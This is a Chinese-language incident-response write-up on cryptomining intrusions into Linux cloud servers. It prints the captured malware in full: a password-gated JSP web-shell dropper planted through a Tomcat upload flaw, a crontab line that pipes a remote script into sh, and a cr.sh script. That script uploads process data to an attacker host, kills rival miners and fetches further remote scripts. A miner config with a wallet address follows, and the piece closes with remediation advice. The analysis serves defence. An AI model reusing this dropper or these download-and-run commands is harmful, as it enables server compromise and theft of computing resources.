Linux 服务器挖矿事件跟踪与修复建议

作者:深圳市网安计算机安全检测技术有限公司 | 国际 2019/04/08 14:49:33 847
文章来源:https://www.4hou.com/technology/17236.html

0x00、背景

       根据对近期入侵事件排查,大约80%为公有云挖矿事件。而且目前挖矿软件会集中在公有云物理机、GPU主机以及高CPU的云主机上,最终导致公有云底层物理机资源分配紧张,影响到营收。在此背景下,应急响应团队着手调查此类挖矿事件。

0x01、脚本分析

目前活跃的部分矿池:

https://monerohash.com

https://monero.hashvault.pro/en/

xcn1.yiluzhuanqian.com

http://pool.supportxmr.com/

       归纳起来,主要是分两类,第一类为有界面的通过账号能看到收益的正规矿池,只是黑客把它的客户端包含在自己的恶意挖矿linux程序当中。另外一类就是自己搭建的矿池,这样更有隐蔽性,但是很有可能在短时间内被和谐。

Linux 服务器挖矿事件跟踪与修复建议

Linux 服务器挖矿事件跟踪与修复建议

Linux 服务器挖矿事件跟踪与修复建议

入侵手段也是五花八门:

这里面举几个例子:

通过Apache Tomcat  CVE-2017-12617 JSP上传漏洞,进入到云主机内部的比较多。获取的脚本:

<%@ page import="java.util.Arrays"%>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*,java.util.*,java.net.URL,java.net.HttpURLConnection"%>
<%
String view = request.getParameter("view");
if (view == null || view.equals("")) {
  String localOS = System.getProperty("os.name");
  List<String> osList;
  String tomcatOS = "0";
  String DEFAULT = "0";
  String WINDOWS = "1";
  String LINUX = "2";
  osList = new ArrayList<String>();
  osList.add("Linux");
  osList.add("Windows");
  for (String os : osList) {
   if (localOS.contains(os)) {
    if (os.equals("Linux")) {
      tomcatOS = LINUX;
    } else if (os.equals("Windows")) {
     tomcatOS = WINDOWS;
    } else {
     tomcatOS = DEFAULT;
    }
    break;
   }
  }
  out.write(tomcatOS + "<br/>");
  response.setHeader("OS", tomcatOS);
  return;
 }
%>

<%
 String password = "FxxkMyLie1836710Aa";
 if (!view.equals(password)) {
  return;
 }
 int systemCode = Integer.parseInt(request.getParameter("os"));
 String address = request.getParameter("address");
 String fileName = null;
 String path = null;
 String winPath = "C:/Windows/Temp/";
 String linuxPath = "/var/tmp/";
 switch (systemCode) {
 case 1:
  path = winPath;
  break;
 default:
  path = linuxPath;
  break;
 }
 String[] urls = address.split(",");
 InputStream fileInputSteam = null;
 FileOutputStream fileOutputStream = null;
 for (int i = 0; i <= urls.length - 1; i++) {
  try {
   String[] file = urls[i].split("/");
   fileName = file[file.length - 1];
   out.write("Download:" + urls[i] + "<br>");
   out.write("<br>filename:" + fileName + "<br>");
   out.write("<br>Size:" + urls.length + "<br>");
   out.write(
   "-------------------------------------------------------------------------------------------------------"
    + "<br><br>");
   File isfile = new File(path + fileName);
   if (isfile.isFile()) {
    try {
     Runtime exec = Runtime.getRuntime();
     if (systemCode == 1) {
      exec.exec(path + fileName);
     } else {
      String chmod = "chmod 777 " + path + fileName;
      exec.exec(chmod);
      exec.exec("nohup " + path + fileName + " > /dev/null 2>&1 &");
     }
    } catch (Exception e1) {
     e1.printStackTrace();
    }
    continue;
   }
  URL downloadUrl = new URL(urls[i]);
   HttpURLConnection conn = (HttpURLConnection) downloadUrl.openConnection();
   conn.setConnectTimeout(60000 * 3);
   conn.setReadTimeout(60000 * 3);
   fileInputSteam = conn.getInputStream();
   fileOutputStream = new FileOutputStream(path + fileName);
   int length = -1;
   byte[] b = new byte[409600];
   while ((length = fileInputSteam.read(b)) != -1) {
    fileOutputStream.write(b, 0, length);
    fileOutputStream.flush();
   }
   if (conn != null) {
    conn.disconnect();
   }
   if (fileInputSteam != null) {
    fileInputSteam.close();
   }
   if (fileOutputStream != null) {
    fileOutputStream.close();
   }
   Runtime exec = Runtime.getRuntime();
   if (systemCode == 1) {
    exec.exec(path + fileName);
   } else {
    String chmod = "chmod 777 " + path + fileName;
    exec.exec(chmod);
    exec.exec("nohup " + path + fileName + " > /dev/null 2>&1 &");
   }
  } catch (Exception e2) {
   e2.printStackTrace();
  }
 }
%>

然后,我们登陆云主机通过Top命令发现。java程序占用大量CPU资源

PID User   PR  NI  VIRT  RES SHR S %CPU %MEM  TIME+ COMMAND
591 yarn  20 0  909m  17m 592 S 632.7   0.1%  977:50.22  java
...

在tmp目录下发现了挖矿木马 java程序,查看

crontab-u yarn -l

***** wget -q-0 - http://46.249.38.186/cr.sh|sh >dev/null

下载cr.sh脚本如下:主要是干掉重复进程

#!/bin/bash
sed -i '$d' /etc/ld.so.preload
crontab -l | sed '/46.249.38.186/d' | crontab -
ps aux --sort=-pcpu > /tmp/tmp2.txt
#netstat -antp > /tmp/tmp2.txt
#crontab -l > /tmp/tmp2.txt
#ps -eo uid,pid,ppid,stime,%cpu,cmd --sort=-%cpu |grep -v STIME| head>/tmp/tmp2.txt
#top -c -n 1 -b > /tmp/tmp.txt
curl -F "file=@/tmp/tmp2.txt" http://46.249.38.186/rep.php
rm -rf /tmp/tmp2.txt

pkill -f systemctI
pkill -f kworkerds
pkill -f init10.cfg
pkill -f wl.conf
pkill -f crond64
pkill -f watchbog
pkill -f sustse
ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>11{print $2}' | xargs kill -9
netstat -antp | grep '37.59.44.93\|37.59.54.205\|192.99.142.232\|158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9

LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
    LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
    LDR="wget -q -O -";
fi
$LDR http://193.57.40.46/cr.sh | sh
if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
    $LDR https://bitbucket.org/zrundr42/mygit/raw/master/zz.sh | sh
    echo "1"
else
    pwd
fi

挖矿配置脚本:

{
    "algo": "cryptonight",
    "background": true,
    "colors": false,
    "retries": 5,
    "retry-pause": 5,
    "donate-level": 1,
    "syslog": false,
    "log-file": null,
    "print-time": 60,
    "av": 0,
    "safe": false,
    "max-cpu-usage": 95,
    "cpu-priority": 4,
    "threads": null,
    "pools": [
         {
            "url": "stratum+tcp://163.172.205.136:3333",
            "user": "43MfpHpcyNh2KaAB3ncY2xKWxu5RSRHCpQoEdjYaUZBN4XfmoQXcxx6fysr966micGW8XMSCzma1CePQhaiKw6gP8hMs8a9",
            "pass": "h",
            "keepalive": true,
            "nicehash": false,
            "variant": -1
        }
    ],
    "api": {
        "port": 0,
        "access-token": null,
        "worker-id": null
    }
}

0x02、攻击链分析

Linux 服务器挖矿事件跟踪与修复建议

0x03、修复建议

1、修复Tomcat上传漏洞,并且通过扫描器持续监控其修复状态。

2、杀死伪造成java的挖矿程序,并且清理crontab异常项,使用EDR Agent监控crontab更改。

3、通过态势感知持续监控云主机对外连接,如果发现威胁情报匹配的挖矿、C2外联等情况,动态加载安全组或者ACL,block其相关连接。


推荐关注

指导单位
广东省公安厅网络警察总队 广东省信息安全等级保护协调小组办公室